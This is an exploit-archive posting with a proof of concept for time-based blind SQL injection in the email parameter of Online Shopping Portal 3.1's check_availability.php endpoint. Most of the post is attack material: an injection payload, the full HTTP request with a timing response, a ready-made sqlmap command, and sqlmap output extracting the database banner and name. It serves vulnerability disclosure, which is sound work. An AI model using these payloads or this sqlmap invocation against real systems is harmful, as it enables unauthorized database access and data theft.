Online Shopping Portal 3.1 SQL Injection

Authored by faisalfs10x

Posted Jul 21, 2021

Proof of concept code for a time-based blind remote SQL injection vulnerability in Online Shopping Portal version 3.1. This is a variant of the original discovery of SQL injection in this version by Umit Yalcin in July of 2020.

tags | exploit, remote, sql injection, proof of concept

SHA-256 | 767219aec319fdaf3843c6a3cee1e6adffa3ddc30ff33399b70b01cfabe1a3d6

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Online Shopping Portal - time-based blind SQL Injection
# Date: 2021-07-09
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/shopping-portal-free-download/
# Version: 3.1
# Tested on: Windows 10, XAMPP


################
# Description  #
################

# The email parameter is vulnerable to time-based SQL injection on the /check_availability.php endpoint that
serves as a checker whether a new user's email is already exist within the database or not. Based on the
payload used on 'email' parameter which is "email=tester@gmail.com'XOR(if(now()=sysdate(),sleep(5),0))XOR'fsx",
the server response is about 5 seconds delay which mean it is vulnerable to MySQL Blind (Time Based). An
attacker can use sqlmap to further the exploitation for extracting sensitive information from the database.


####################
# PoC of detection  #
####################


Request:
========

POST /shopping/check_availability.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 65
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/shopping/login.php
Cookie: PHPSESSID=94hqeuk00aj25glgtju4105n06
Sec-GPC: 1

email=tester@gmail.com'XOR(if(now()=sysdate(),sleep(5),0))XOR'fsx


Response: duration = 340 bytes | 5,005 millis
========

HTTP/1.1 200 OK
Date: Fri, 09 Jul 2021 14:15:14 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.24
X-Powered-By: PHP/5.6.24
Content-Length: 121
Connection: close
Content-Type: text/html; charset=UTF-8

<span style='color:green'> Email available for Registration .</span>
<script>$('#submit').prop('disabled',false);</script>



########################
# PoC of exploitation  #
########################

# Run sqlmap to extract current database name:

$ sqlmap -u "http://localhost/shopping/check_availability.php" --data="email=tester@gmail.com" --
cookie="PHPSESSID=94hqeuk00aj25glgtju4105n06" --timeout=30 -p "email" --level=3 --risk=1 --threads=10 --time-
sec=5 -b --current-db --batch --answers="crack=N,dict=N,continue=Y,quit=N" --technique=T


###########
# Output  #
###########

---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=tester@gmail.com' AND (SELECT 4922 FROM (SELECT(SLEEP(5)))SAxU)-- ILJB
---

[INFO] the back-end DBMS is MySQL
[INFO] fetching banner
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking
warranty) [y/N] N
[INFO] retrieved:
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to
prevent potential disruptions
10.1.19-MariaDB
web server operating system: Windows
web application technology: PHP 5.6.24, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
banner: '10.1.19-MariaDB'
[INFO] fetching current database
[INFO] retrieved: shopping
current database: 'shopping'
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed